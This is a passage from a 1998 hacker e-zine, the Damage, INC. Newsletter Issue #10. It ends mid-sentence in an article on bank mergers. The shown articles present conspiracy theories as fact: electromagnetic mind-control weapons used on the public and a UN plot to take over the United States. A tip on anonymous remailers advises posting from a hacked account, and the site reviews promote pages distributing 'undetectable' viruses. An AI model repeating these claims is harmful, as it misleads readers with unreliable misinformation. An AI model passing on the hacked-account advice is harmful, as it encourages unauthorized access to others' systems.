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ÞÛÛÛÛÛÛÛÛÞÛÛÛ ÛÛÛÞÛÛ ÛÛÝÞÛÝÞÛÛÛ ÛÛÛÞÛÛÛÛÛÛÛÝÛÛÛÛÛÛÛ ÛÛÝÞÛÝÛÛÝ ÞÛÝÞÛÛÛÛÛÝÛÛÝ
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"The name speaks for itself!" ÞÝ
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Presents the
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Damage, INC. Newsletter
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July 1998 Issue #10
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"The root of everything."
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ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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C O N T E N T S :
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þ INTRODUCTION - An Introduction to the Damage, INC. Newsletter.
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þ BIG BROTHER BASHING - Electromagnetic Mind Control Weapons Part 1.
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¯ Search String: {BIG BROTHER}
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þ BLACKENED'S TIP OF THE MONTH - Anonymous Remailers.
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¯ Search String: {BLACKENED}
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þ BREAKER'S REVIEWS - H/P and Security Web Site Reviews.
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¯ Search String: {REVIEWS}
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þ CONSPIRACIES AND COVERUPS - NWO Part 2: The UN/NWO connection.
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¯ Search String: {COVERUPS}
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þ CORRUPTION AND GREED - When billions aren't enough.
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¯ Search String: {GREED}
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þ CROSSED WIRES - A paid advertisement for CyberCrime International Network.
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¯ Search String: {WIRES}
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þ DRUGS DISCUSSION - Public Propaganda Service Announcements.
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¯ Search String: {DRUGS}
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þ H/P INFORMATION AND NEWS - Junction Boxes, FAKE CON '98, News.
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¯ Search String: {H/P}
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þ INTERVIEWS AND INTERROGATIONS - The Story of Midnight Sorrow.
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þ LETTERS TO THE EDITOR - More feedback about the Damage, INC. Newsletter.
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þ OBJECTIVE OPINIONS - Cops and Harassment.
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þ REPORTS FROM THE FRONT - Windows 95 errors, Electronic Telepathy.
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¯ Search String: {REPORTS}
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þ SOURCE AND SCRIPTS - Reboot.C, Hostown.C source code.
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¯ Search String: {SOURCE}
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þ THC PHREAK'S TOP TEN LIST - "Ways to kill yourself"
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¯ Search String: {TOP TEN}
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þ THOUGHTS, POEMS AND CREATIVE WRITING - Thoughts beyond this Physical World.
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þ CLOSING COMMENTS - BLACKENED's Insightful Closing Comments.
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ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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< DISCLAIMER >
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All articles contained in the Damage, INC. Newsletter are for informational
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purposes only. Damage, INC. is not responsible for how any of the information
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presented is used. It is not intended to be a manual with instructions to be
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followed. We won't be held responsible for any damages caused, illegal acts
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committed etc. by our readers. If/how you use the information given is entirely
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up to you.
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< COPYRIGHT NOTICE >
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All articles and source code contained within this file are (C) Copyright by
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Damage, INC. (unless stated otherwise). No part of this work can be modified,
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reproduced or changed in any way without the expressed written consent of
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Damage, INC. That means, electronically or otherwise, in part or in whole
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this file must not be altered. It cannot be included with any other releases.
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You cannot claim that you wrote it, or alter any articles and source code that
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has been written and Copyrighted by us. Also, do *not* distribute any
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Damage, INC. releases in "packages" with other text files or utilities. They
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must only be distributed alone in their present, original form. You are
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permitted to read and distribute the Damage, INC. Newsletter freely to quality
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h/p boards only.
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Copyright 1998 by Damage, INC.
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All Rights Reserved.
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_______________________________________________________________________________
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INTRODUCTION: The quote for this issue "The root of everything" conveys a
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different message for each individual. That's precisely why
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I chose it. The possible meanings are almost endless. Thus,
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while you are reading this issue, consciously or subconsciously
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you're forced into thinking about the chosen quote. I want you
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to try to determine it's meaning, as it relates to the articles
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contained within the pages of the Damage, INC. Newsletter.
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Discovery is an important part of learning that shouldn't be
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overlooked. It's what gives you the incentive to continue
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exploring and trying to find out how things work. Therefore, we
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believe that our readers should become more actively involved
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in finding instead of just asking. Meaning, don't always ask
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us how to do something, try to discover the answers on your own
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by using whatever information was already given to you.
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In case you're still wondering, the quote isn't a reference to
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rooting a system, the root of all evil or the root of all
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problems etc. It's about the root of information, since
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information is everything. Afterall, what can't be considered
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information? It's literally everywhere and everything.
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Furthermore, everything around you is based on information and
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will be in the future as well. Again, what *isn't* information?
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Technology is information. Books, Radio, Newspapers, Television,
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speech, text files etc. are all sources and mediums of
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information. The better the information is that you have, the
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more educated and informed you'll become. Just be wary of
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misinformation, as it also exists everywhere. Always consider
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the source of the information that you find. It's critical that
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you remember to do that first before forming opinions or making
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any judgements. Sometimes information that's easily obtained
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cannot be verified or is inaccurate. Again, information that you
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just stumble upon or that's a gift from someone to you can't
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always be trusted. So, be careful to analyze any information
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that's been given to you instead of just immediately accepting
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it as truth.
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If information is the root of everything, then what are we?
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Well, we are responsible for using information. It's a tool.
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It is not our master. Just as, technology isn't the master of
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us...yet. It is up to humanity to use information and technology
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to benefit us. You must learn how to use it to your own
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advantage. Both can destroy your bodies and minds, or they can
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enlighten and empower. That may sound laughable, but it's true.
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Think about how you use information and technology in your daily
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lives for a minute. Then think about how the governments, armed
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forces and world leaders use both and you'll understand what I'm
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saying. It's a double edged sword and it all depends on who's
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holding the weapon. Whoever holds the sword in their hands has
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the technology and information on how to use it. The difficult
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part is knowing how to use it wisely.
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Information isn't free. It never has been and never will be
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freely given to anyone that wants to have access to it. There
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will always be people that will take measures to conceal the
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information that they have, control it, and be stealthful about
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using it so that it's not leaked or exposed. That's the way it
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is. As for technology, it's guarded, bought, sold, exchanged
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and traded by many countries but there's always a price to be
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paid. That is how things work. Walls and fences are constructed
|
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to keep us from knowing, keep us from having access to certain
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technology, or to keep us out entirely. Basically, they (the
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government, telco, other large corporations, military etc.) don't
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want everyone to have access to the information and technology
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that they possess. Yet, information is everything. I realize
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that everyone can't have everything, but there will *always* be
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people around that will try... regardless of the consequences.
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BIG BROTHER BASHING - {BIG BROTHER}
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Electromagnetic Mind Control Weapons Part 1:
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What are Electromagnetic weapons (EM weapons)? Can they be used for mind
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control purposes? How do they work? When were they developed, and by who?
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Have they ever been used against military personnel or civilians?
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EM Weapons and Microwave technology are very powerful weapons, which Big
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Brother has and is willing to use against us as a means of control. I've
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watched many Television programs (on TLC, NBC etc.) concerning the development
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of EM weapons, read articles and books before writing this article. Due to
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the research that I've done, I feel that I'm qualified to comment on the topic
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and share what I have learned. This article won't be of an extremely technical
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nature, since I don't want to bore everyone by including too many dates, names
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of military projects and retired military personnel etc. However, I will
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give basic information about "non-lethal" EM weapons, and what Big Brother is
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planning to do with this technology.
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Research and Development (R&D) of Electromagnetic weapons began in the early
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1940s according to the sources that I have available to me. Then after WWII
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ended, known Nazi scientists were brought over to the United States to conduct
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further experiments with EM Waves and other technology. In the same time
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period, Japan was conducting its own experiments with EM waves. Their efforts
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were directed towards the construction of a "death ray", capable of blinding
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and killing human beings exposed to it from great distances. Depending on the
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length of the waves created, and how they were tuned, they could shut down and
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immobilize vehicles or cause damage to the organs (such as the brain and lungs)
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of living creatures. Obviously, the R&D of such weapons didn't end during that
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era. It has continued, and the technology is almost widely used now in the 90s.
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I've seen demonstrations of EM weapons and how they can disable helicopters,
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planes, tanks, cars etc. Virtually any complex machine that contains computer
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chips and equipment can be shut down almost instantly, just like turning off
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a light using this technology. The most frightening aspect is that the human
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body can be affected just as easily, including bodily functions and our mind.
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Yes, EM waves *can* and have already been used for mind control purposes.
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Have you ever heard the term "behaviour modification" used before? Some of
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the early experiments of that nature took place in Nazi concentration camps.
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Nazi Doctors and scientists from Auschwitz and Dachau were recruited by the U.S.
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after WWII ended, due to the research they'd conducted on prisoners. These
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events are well documented in The United States' Project PAPERCLIP program.
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From the reports that I've read, there were 34 Nazi doctors and scientists
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in total that began working in San Antonio, Texas at Randolph Air Force Base.
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Then in 1953 the CIA, U.S. Navy and U.S. Army Chemical Corps began conducting
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their own programs on unwilling victims, including prisoners, mental patients,
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foreigners, ethnic minorities and people that were classified as sexual
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deviants. Most of the experiments were narco-hypnosis and involved chemicals
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etc. Basically, they were still working on developing mind control techniques.
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Fast forward to the 1970s. The American public started to become aware of
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the secret programs that were conducted by the U.S. military and CIA during
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the previous two decades. The names of these projects were MKULTRA, MKDELTA,
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MKNAOMI, MKSEARCH (MK is understood to stand for Mind Kontrol), BLUEBIRD,
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ARTICHOKE and CHATTER. These programs were designed to develop methods of
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citizen mind control and being able to program assassins (the main aim of the
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CIA at that time).
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During the 1980s while Reagan was President, information wasn't as accessible
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and wasn't readily available to anyone. Nothing changed during Bush's term
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of office (1988-1992). The FOIA (Freedom of Information Act) was bogged down
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by bureaucracy and it became costly to search for material that had been
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de-classified. Much of the above material covering the MK programs etc. was
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in fact reviewed and re-classified, which made it inaccessible once again to
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the public. However, in 1989 CNN (Cable News Network) aired a program on
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EM weapons and showed a U.S. government document that outlined a contingency
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plan to use the weapons against "terrorists." During that same time period,
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other stories about microwaves being used against the Palestinians for the
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purpose of trying to condition them were being released by the media.
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In conclusion, EM weapons present a threat to us all. Their mind control
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capabilities should definitely be viewed as dangerous, in the hands of any
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country. That is, these weapons threaten our very freedom of thought. What
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else carries more importance than that? I believe the focus should shift
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from being on chemical and biological weapons... to ones that have the power
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to do more than kill. Many weapons can kill, but EM weapons can control
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minds, which in my opinion is far worse than death. They present a far greater
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threat to us than other advanced weapons, since they have the ability to remove
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our very humanity. They give Big Brother total control, which is what leads
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me to believe that the future of free thinkers is grim. Once our minds are
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assaulted and our thoughts are raped, then there will be no way to fight them.
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EM Weapons Part 2, covering the 1990s will be included in the next issue.
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Written by BLACKENED ú Damage, INC. (C)opyright 1998.
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BLACKENED'S TIP OF THE MONTH - {BLACKENED}
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Anonymous Remailers.
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Many readers already know about the existence of Anonymous Email, Remailers
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etc. However, I thought I'd write a short article concerning how to find
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them, how to use them and how they work for those that don't know.
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Obviously, the main reason that someone uses an Anonymous Email service or
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a Remailer is to protect their privacy. Each individual may have many
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reasons for wanting to do so. For example, they might not want their message
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to be published or distributed by other means by the receiver with their
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name/alias/IP address etc. attached. They may just want to give someone
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information and remain anonymous. There are several other important reasons
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as well, some of which relate to legal issues in which the person doesn't
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want to get busted for posting "illegal information". Therefore, it's done
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anonymously to prevent that from happening. As I'm sure you can see, there
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are many uses for them... and as long as they exist, they will be used. Plus,
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anonymous remailers are free to use, which obviously adds to their popularity.
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If you live in a corrupt country in which censorship is prevalent (such as
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China for example), then I'm sure you wouldn't want them tracing Email back to
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you which could be used as "evidence". It's another way to evade the prying
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eyes of Big Brother. Just remember that Anonymity is your right, but never
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assume that they're all completely 'safe' and 'secure'. Protecting your own
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privacy, via using anonymous remailers or any other means is completely legal.
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They aren't just for those that are involved in illegal activities. ;)
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How to find anonymous remailers:
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-------------------------------
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The first two sites contain a list of Anonymous Remailers. So, check those
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out first. However, if you just want to post a single anonymous message, go
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to www.anonymizer.com and send it from there.
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List of sites:
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www.publius.net/rlist.html - Anonymous Remailer list.
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www.cs.berkeley.edu/~raph/remailer-list.html - Anonymous Remailer list.
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www.nymserver.com - Anonymous Email etc.
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www.anonymizer.com - Anonymous Email etc.
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http://www.replay.com/aba/eternity/ - Eternity service.
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http://moloko.insync.net/eternity/ - Eternity service.
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http://eternity.internexus.net/ - Eternity service.
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http://eternity.infinetways.net/ - Eternity service.
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http://www.replay.com/mail2news/ - Anonymous Remailer.
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How to use remailers and how they work:
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Basically, anonymous remailers strip away the information that's contained
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at the top of Email in the header. Meaning, your real name etc. isn't sent
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to the intended receiver of your message. In that way, they protect your
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privacy. Many anonymous remailers don't send for minutes, hours (or a day or
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two with some)... and the time between sending is random. Therefore, it's more
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difficult to trace when the actual message was posted and sent. Again, that
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protects your privacy. It's to your own benefit since you don't want someone
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else to be able to figure out who the sender was and what time the message was
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sent. ;)
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As for how to use remailers, it's self-explanatory. If you can't figure out
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how they can be used, then you should read the Anonymous Remailer FAQ first,
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and perhaps the alt.privacy.anon-server newsgroup as well.
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I suggest that you read the Remailer FAQ, research any remailers and anonymous
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Email services first, use PGP encryption and send messages through multiple
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remailers if you want better security. That way, the first remailer doesn't
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know what the destination of your message is. It's also more difficult for it
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to be traced back to you if it's been sent through several different remailers.
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Using a hacked account or posting from a public terminal that doesn't require
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you to login is also a good idea. Then your real name won't be attached to
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anything and no server will have that information. The most that could be found
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out using that method is the IP address (for example, a University's IP name
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and address). However, none of your real information will be attached using
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that particular method. ;)
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Written by BLACKENED ú Damage, INC. (C)opyright 1998.
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BREAKER'S REVIEWS - {REVIEWS}
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H/P and Security Web Site Reviews:
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This is a list of Good H/P or security related web sites. I'll try to
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check these and keep them updated and free of 404's.
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BlueBox Moon
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bbm.dyn.ml.org
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A great site that recently went back up. It has a habit of
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disappearing. Anyway, the site is chocked full of technical telco
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information. A must see resource for phreaks.
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PBXPhreak
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www.sloth.org/~chris
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One of the original k0de kids. This guy has dialed and scanned it all.
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A #hack regular and confwhore. He has a few dead websites up all over
|
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the Internet. I think the sloth.org page is his most recent. Keep
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checking there for all your kode needs.
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The Hacker's Choice
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merlin.koeln-net.com/~plasmoid/thc
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One of Germany's best H/P groups. They have been around a long time,
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anyone remember the L0re bbs? Check out the back issues of THC zines
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and expect issue #5 soon. Also check out their H/P related programs.
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9x
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www2.dope.org/9x
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The group that wouldn't quit. 9x has gone under a 100% renovation.
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They have new members and a new site. Check out their past zines and
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useful 800 scans. They are also releasing new files.
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The Codebreakers
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www.codebreakers.org
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A great virus site. They have active members who are doing good work
|
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with 95/98 infectors. The site is updated regularly with new
|
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"undetectable" viruses, until someone forks one over to Dr. Soloman.
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Check out their links to other good virus sites.
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Antionline
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www.antionline.com
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I'm sure everyone has heard about this site, but I decided to include it
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just in case. A fairly good H/P site that has been much hyped by the
|
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media. Updated regularly with breaking news on hacker attacks. JP the
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owner, hangs on #hackphreak of the undernet. Stop in and he'll probably
|
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be interviewing someone. Also has a hacked web site archive.
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Packet Storm Archive
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www.genocide2600.com/~tattooman
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Tattooman's crazy insane site. This is one of the best H/P sites on the
|
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Internet at the moment. The site is updated daily with new source code
|
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and programs. There is also a wwwboard were Tat will answer all of your
|
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intelligent hacking questions. This guy is working overtime to keep on
|
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top of computer security, lets hope he keeps it up.
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Junxion Box Brothers
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www.jbb.net
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Originally started by some 905 h/per's who wreaked havoc on Bell Canada.
|
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The original members have moved on but the name lives on. An up and
|
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coming H/P site with original files and a wwwboard. If you visit, tell
|
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Shypht to put his board back up. :-)
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ITRAC
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itrac.bourg.net
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A good all around computer security site that has just re-opened. Check
|
||
out this site for daily updates on new vulnerabilities and holes.
|
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|
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Slashdot
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Slashdot.org
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A great Linux site. There are Linux forums to discuss tons of topics.
|
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This site is updated hourly with new Linux news and resources.
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That's all for this month....
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CONSPIRACIES AND COVERUPS - {COVERUPS}
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NWO Part 2: The UN/NWO connection.
|
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In the last issue (Issue #9, "Search and Destroy.") of the Damage, INC.
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Newsletter, I promised that I would reveal some serious United Nations
|
||
conspiracies, and how the UN is connected to the implementation the New World
|
||
Order. I will share some information I have collected on how the UN only cares
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about world order.
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Peacekeepers?
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The perception that most people have about the United Nations is that they are
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dedicated to creating world peace. They believe that delegates sit in global
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cooperation and goodwill to form a utopia in which all humans are free and
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prosperous. That is what the elite that control the United Nations want all of
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the zombies to believe.
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The true mandate of the United Nations is obvious to those that think about
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it. The United Nations is not interested in brokering peace in order to promote
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prosperity. The United Nations is dedicated to maintaining the *world order*,
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and the proliferation of a New World Order.
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Look at all the current activities where soldiers from various countries wear
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the UN uniform. Is there real peace between the factions in Bosnia? Or
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was world order forced upon them by the UN? Was a peace agreement being
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negotiated for over 25 years on the island of Cyprus? No, of course not. Is
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that keeping the peace as two warring factions start to heal the wounds of war?
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Or is that cracking down on nations that threaten to disrupt world order?
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The underlying reason for the conflict is never resolved. In my opinion, the UN
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doesn't send peace keepers to places like Bosnia, etc. They send in NWO
|
||
keepers.
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Their primary objective isn't to end conflict and help both sides find a
|
||
peaceful settlement. It is to enforce the United Nations' world order. The
|
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will of the United Nations is the will of those that want to bring about the New
|
||
World Order. Whether you believe what I am saying or not, will depend on how
|
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you define peace and order. If you believe that only order can bring peace,
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then you must be a believer in the NWO, and the elimination of individual rights
|
||
and freedoms it will bring.
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The UN helps communists destroy an anti-communist nation.
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The United Nations is considered, by many naive people, to be a great champion
|
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of global democracy. This great misconception was formed because of "police
|
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operations" like Korea, when they publicly spoke against communism. Why would
|
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the United Nations go on a "holy" crusade against communism in Korea and later
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in Vietnam, and yet assist the growth of the Soviet influence in other parts
|
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of the world? To prove this statement, I will tell you about the former nation
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of Katanga.
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In today's geographic landscape, Katanga no longer exists. It is now the
|
||
Province of Shaba, in African country of Zaire. In the early 1960s, Katanga was
|
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a province in what was then known as the Belgian Congo. When Belgium's King
|
||
Baudouin formally gave the Belgian Congo independence on June 30, 1960, the
|
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Soviets were ready to place their communist pawn into all key positions in the
|
||
new Congolese government. It is sickening that Soviets and Czech "diplomats"
|
||
were lurking around election booths. They made sure that their communist
|
||
candidate, Patrice Lumumba, gained power over the Congo.
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|
||
Approximately one week after the election, Lumumba enforced the will of his
|
||
communist masters. Men, women, and children were slaughtered. Newly obtained
|
||
freedom was destroyed, and a communist reign of terror took its place. The
|
||
province of Katanga fought back. Unwilling to be under the thumb of Communists,
|
||
President Moise Kapenda Tshombe announced that Katanga was "seceding from
|
||
chaos." Tshombe was known of as a voice against communism in the Congo at that
|
||
time.
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||
|
||
The Soviets were very quick to condemn Katanga's independence. To quote Nikita
|
||
Khrushchev, "[Tshombe is] a turncoat, a traitor to the interests of the
|
||
Congolese people." Under the direction of the UN, other nations including the
|
||
United States also condemned Tshombe, and the nation of Katanga. A backlash
|
||
against Katanga grew quickly within the UN, and on July 14, 1960 the U.S. allied
|
||
itself with the USSR by supporting a UN resolution to send UN troops into Congo.
|
||
|
||
These UN "peacekeepers" weren't sent in to stop Lumumba from massacring the
|
||
innocent people in Congo, but to destroy the nation on Katanga by putting it
|
||
back under communist Congolese control. Thousands of soldiers, wearing UN
|
||
uniforms left for the Congo four days after the resolution passed. The conflict
|
||
between the nation of Katanga and the UN came to a head in December, 1961.
|
||
Soviet and U.S. bombers flew over Elisabethville, Katanga's capital. Their
|
||
first targets were the city's post office and radio station. It is obvious that
|
||
the UN wanted to blackout the media within Katanga. During this attack, planes
|
||
flying under the UN banner also bombed Katanga's hospitals, schools, and
|
||
churches. There is evidence that UN troops slaughtered women and children by
|
||
bayonet and machine gun fire. Belgians and other innocent foreigners also lost
|
||
their lives in this conflict. Unable to stand up to the Soviet and American
|
||
military under UN command, the nation of Katanga was overrun and reintegrated
|
||
into the communist-controlled Congo. Despite the testimonies by international
|
||
workers in Katanga at the time, the UN and other Illuminati-rooted organizations
|
||
proclaimed the entire Congo operation a "great success." They were successful
|
||
in eliminating a small, free African nation that, in their sick, globalist
|
||
minds, threatened to hinder their plans for that area. Do the actions I related
|
||
to you above sound like an organization that supports world democracy? Hmm...
|
||
|
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UN preparations to take over the United States of America.
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|
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Last month, I said that there are plans that haven't even been unleashed upon us
|
||
yet, yet the groundwork was laid decades ago. I will elaborate now. In 1951,
|
||
American servicemen were transferred to Fort MacArthur, California. After basic
|
||
training, they became one of several "Military Government Reserve Units." On
|
||
July 31, 1951, all of the MGRUs took their training one step further. Nine
|
||
California cities: Compton, Culver City, Inglewood, Hawthorne, Huntington Park,
|
||
Long Beach, Redondo Beach, South Gate and Torrance were invaded and seized. The
|
||
once-American soldiers were wearing UN uniforms, and their vehicles were marked
|
||
with the UN flag.
|
||
|
||
Newspapers showed pictures of the cities' mayors and police chiefs behind bars.
|
||
They were arrested by the UN invasion force. Many people in Huntington Park
|
||
witnessed "UN" soldiers lowering the American flag, and replacing it with the
|
||
flag of the United Nations. Everything was done "by the virtue of the authority
|
||
vested in [an officer] by the United Nations Security Council," according to
|
||
witnesses that were interviewed.
|
||
|
||
A second mock invasion occurred on April 3, 1952 in Lampasas, Texas. Not only
|
||
did they duplicate the tactics and credos they used to seize the nine
|
||
Californian cities, but they took this operation even further. Churches were
|
||
shut down, schools were taken over, and armed UN guards were posted in all
|
||
classrooms. They also setup a "mock" concentration camp, and rounded up the
|
||
citizens in Lampasas. One reporter saw a teenager get knocked onto the ground.
|
||
When the teenager refused to get up, the former American soldier threatened to
|
||
remove his teeth with the butt end of his rifle. Mock trials were also held,
|
||
and all U.S. Constitutional rights were ignored and mocked by the UN forces. In
|
||
fact, lists of UN laws were posted all over Lampasas during the invasion. While
|
||
researching these mock invasions, I found one section of these "offenses":
|
||
"25. Publishing or circulating or having in his possession with intent to
|
||
publish or circulate, any printed or written matter... hostile, detrimental, or
|
||
disrespectful... to the Government of any other of the United Nations." How do
|
||
you like that? The American soldiers involved in this mock invasion have
|
||
blatantly broken their oaths that they swore to protect and uphold the United
|
||
States of America. Lampasas, Texas wasn't the final mock invasion carried
|
||
out by the MGRU.
|
||
|
||
On August 20, 1952, Watertown, New York was invaded and seized. What happened
|
||
in the nine Californian cities and in Lampasas, Texas was also experienced by
|
||
the citizens of Watertown. It would not surprise me as they were herded into
|
||
the mock concentration camps that they were forced to watch the lowering of
|
||
their American flag, and the raising of the UN flag.
|
||
|
||
These mock invasions were only a short few years after the formation of the
|
||
United Nations. They were already preparing to impose a New World Order, with
|
||
the United Nations being the foundation for the world government. Just because
|
||
these mock invasions took place in the early 1950s doesn't mean that they have
|
||
no relevance in 1998. Globalist groups like the CFR and the Trilateral
|
||
Commission have taken control of more military and political positions since the
|
||
early 1950s.
|
||
|
||
Do you think it that these mock invasions are isolated exercises that occurred
|
||
in the 1950s? If you do, you are wrong. American cities are still the staging
|
||
areas for mock invasions. On May 4, 1997, the U.S. Army's Special Operations
|
||
Command (SOC) performed an urban training "exercise" in Charlotte, North
|
||
Carolina. Section of the cities were shut down by Charlotte police as the
|
||
"Military Operations in Urban Terrain" proceeded.
|
||
|
||
The citizens of Charlotte had no forewarning as a dozen unmarked Black Hawk
|
||
helicopters scared the hell out of them. Many citizens flooded the 911 system,
|
||
as well as calling council members and the mayor at their homes, as the sounds
|
||
of gunfire and flash-bang grenades disturbed a peaceful night. Charlotte's city
|
||
council did give the Army's SOC consent to initiate this practice operation,
|
||
because they believed the Army's lies. The council were told that the SOC would
|
||
be "in and out" and that they would not disturb any citizens. The U.S. Army SOC
|
||
received a lot of negative attention in the press, and Charlotte's Mayor
|
||
sent President Clinton a letter expressing his "deep concerns" over the way the
|
||
Charlotte citizens were treated.
|
||
|
||
That is why when it was the Air Force SOC's turn to invade Charlotte, they were
|
||
even more discreet. Their invasion of Charlotte took place on May 28, 1997. If
|
||
you are a fan of NASCAR, you may remember the Coca Cola 600 was being held at
|
||
the Charlotte Motor Speedway. The spin doctors at the SOC turned their invasion
|
||
operation into entertainment for the spectators that were there before the race.
|
||
The Speedway's mascot was being held by "terrorists." Zombies in the crowed
|
||
cheered as the heavily armed airmen from the SOC arrived on the scene. Low
|
||
flying aircraft cover were also deployed, as well as pyrotechnics and loud
|
||
explosions.
|
||
|
||
The U.S. Army SOC's invasion of Charlotte, and the Air Force SOC's public
|
||
relations invasion are connected. Both the Army and Air Force SOCs are under
|
||
the command of the United States Special Operations Command (SOCOM). In my
|
||
opinion, this operation took place to clean up the mess that the U.S. Army SOC
|
||
created within Charlotte in their earlier invasion.
|
||
|
||
Charlotte wasn't the only city that was used as a staging ground for "urban
|
||
terrain exercises." Pittsburgh, Chicago, Atlanta, Dallas, Detroit, Houston,
|
||
Los Angeles, New Orleans, Miami and Seattle have also accommodated SOCOM mock
|
||
invasions. SOCOM claimed that these training operations were needed to prepare
|
||
soldiers to stop terrorism. However, these special operations could also be
|
||
a very discreet continuation of the mock UN invasions that took place in the
|
||
1950s. All it would take is for an American President to call a state of
|
||
emergency. The Constitution could then be suspended, and martial law could
|
||
be imposed. These soldiers are already trained to eliminate any resistance
|
||
that could be encountered in an urban center. Then Operation Garden Plot,
|
||
and other globalist plans could be implemented. (I encourage you to search for
|
||
information on Operation Garden Plot... or wait for me to write about it in a
|
||
future issue of the Damage, INC. Newsletter.)
|
||
|
||
I hope the information in this article has given you a lot to think about.
|
||
Since its birth, the UN has chipped away at the sovereignty of nations, and has
|
||
impose the world order desired by the world's most powerful people.
|
||
Unfortunately, I only have a limited amount of space to reveal the countless
|
||
conspiracies and coverups that surrounds the United Nations. Once again, I
|
||
encourage you to inform yourself. Form your own opinions based on truthful
|
||
information, rather than public or media perceptions.
|
||
|
||
Written by Shatazar ú Damage, INC. (C)opyright 1998.
|
||
|
||
|
||
CORRUPTION AND GREED - {GREED}
|
||
When billions aren't enough.
|
||
|
||
Over the past 10 years, banks and trust companies have become increasingly
|
||
bigger and fatter. We have seen the virtual elimination of interest paid on
|
||
savings and combination savings/chequing accounts (which stand at approximately
|
||
0.25% or lower). If you don't have enough money in your account, the bastards
|
||
literally make you pay for the "privilege" of allowing them to take your money
|
||
and invest it for their own gains. We have seen an intentional degradation of
|
||
service, as we have less human tellers to deal with. If you are a working
|
||
person, it is extremely difficult to arrive at a bank before it closes. We are
|
||
expected to use and trust instant teller or cash machines that occupy a small
|
||
space close to the locked doors of your local branch. Meanwhile, hackers and
|
||
phreaks know that telephone banking, electronic tellers/cash machines, and
|
||
Internet banking aren't as "secure" as they claim.
|
||
|
||
Despite the woefully pathetic service North American banks provide, there has
|
||
been a proliferation of service charges. They range from getting charges for
|
||
having an account (which I eluded to above), getting charged for obtaining
|
||
service from a human teller, getting charged for using a banking machine,
|
||
getting charged for using a system like Interac to make a purchase, etc. I can
|
||
say for a fact that small businesses in Canada also face service charges when
|
||
depositing money into their business accounts as well. Despite the tremendous
|
||
profits they make from the growing number of service charges, it is not enough
|
||
for the greedy, fat cat banks.
|
||
|
||
Not satisfied with recording multi-billion dollar profits and hundreds of
|
||
billions of dollars in assets, the largest North American banks are merging.
|
||
Yes, the biggest fat cats are devouring their competitors, forming what TIME
|
||
magazine has dubbed "Superbanks". An example of a so-called "superbank"
|
||
occurred on April 13, 1998 when NationsBank from Charlotte, North Carolina
|
||
merged with Californian BankAmerica. The media was told that the merger was
|
||
"a $60 billion deal" which formed America's largest bank.
|
||
NationsBank/BankAmerica is said to have assets worth $572.2 billion. That isn't
|
||
even the largest merger that occurred in the month of April. On April 6, 1998
|
||
Citicorp and the Travelers Group merged (the deal worth $76 billion) to form
|
||
"the World's largest financial services company". Together, Citicorp/Travelers
|
||
Group have assets worth $697.5 billion. However, approximately $400 billion of
|
||
their assets aren't banks, so they don't get the "America's biggest bank" title.
|
||
|
||
Like always, Canada has followed the lead of the United States. Canada's
|
||
largest chartered bank, the Royal Bank, and the third largest bank, the Bank
|
||
of Montreal announced that they want to merge in order to "be competitive
|
||
internationally". What was funny was that they didn't tell Federal Finance
|
||
Minister Paul Martin about it. Days later, the Canadian Imperial Bank of
|
||
Commerce (the CIBC is Canada's second largest bank) and the Toronto-Dominion
|
||
Bank (TD is the fifth largest) announced that they need to merge as well. A few
|
||
Canadians (like myself) are questioning why these banks need to merge. In the
|
||
first half of 1998, the Royal Bank announced a profit of $925 million; the
|
||
Bank of Montreal, $738 million; TD Bank, $600 million; and CIBC, $777 million.
|
||
At those numbers, all chartered banks, both the ones that want to merge and the
|
||
others that can't find a partner, will record their highest profit levels to
|
||
date. Currently, the mergers require the approval of the Federal Government.
|
||
Paul Martin is playing his political cards carefully. He is afraid of angering
|
||
the banks' investors (like the CEOs of the respective banks), but at the same
|
||
time he claims to be "looking out for what is best for all Canadians" in regards
|
||
to the lack of competition that would result from the mergers. Hmm...how many
|
||
times has a lying politician said that? :(
|
||
|
||
Who benefits most from the monopolization of the banking industry? Definitely
|
||
not the public that uses their bank's (or banks') services. All these mergers
|
||
provide are less choice, less service, and more service charges. That leaves
|
||
the people that choose to support these fat cats by investing in bank stocks.
|
||
In fact, the people that profit tremendously from bank mergers are the
|
||
Chairmen/CEOs of the banks involved. With tens of thousands of shares each,
|
||
plus hundreds of thousands of stock options, they stand to gain millions of
|
||
dollars. Yet these fat cat chairmen, and their underlings are quick to spew
|
||
misinformation and lies about their true motives. In an attempt to sell it to
|
||
the zombies, CIBC Chairman/CEO Al Flood said, "Our merger is about product
|
||
choice at better value. It's about forming an innovative new company that will
|
||
create more jobs, higher-skill jobs, better-paying jobs and new jobs in
|
||
high-growth occupations". Really Al? In almost every big business merger,
|
||
massive job losses are caused because of what you and other fat cats call "job
|
||
redundancy". These mergers are a new form of downsizing. They eliminate jobs,
|
||
competition and make the banks' largest investors even richer.
|
||
|
||
As these "superbanks" grow, so does their arrogance. The largest merged banks
|
||
have the assets and cash flow of many small countries. Therefore, how can they
|
||
be regulated by any one government? Laws created to protect bank customers can
|
||
easily be ignored because no potential punishment can hurt the banks. Is there
|
||
anything that can stop them?
|
||
|
||
Perhaps, but at an extremely high price. The one thing that these banks fear is
|
||
being frozen out of the emerging electronic banking technology. The high price
|
||
I refer to are the new "players" in the electronic financial system that would
|
||
take "market share" away from traditional banks. Such corrupt corporate
|
||
entities include the likes of Micro$oft, the largest software company in the
|
||
world, will push extremely hard to make sure their software controls the new
|
||
financial infrastructure. Just don't forget about Big Brother, and the type of
|
||
control he can have over people, by knowing where every cent of their money is
|
||
saved and spent. All of these fat cats will battle it out. Whoever wins will
|
||
be the primary supplier of the new electronic "legal tender" that they hope will
|
||
replace cash. The thought of huge, supranational corporations being the
|
||
suppliers of legal tender is terrible indeed. It is bad enough what the banks
|
||
are doing to obtain pieces of paper that are backed by the country a citizen
|
||
lives in. Regardless of what happens, it is obviously a no-win situation for
|
||
everyone but those greedy bastards.
|
||
|
||
I hope that this article has given you a lot to think about. I have attempted
|
||
to show how these greedy "superbanks" are hurting the general public right now
|
||
in order to obtain obscene profits, while providing virtually no return on their
|
||
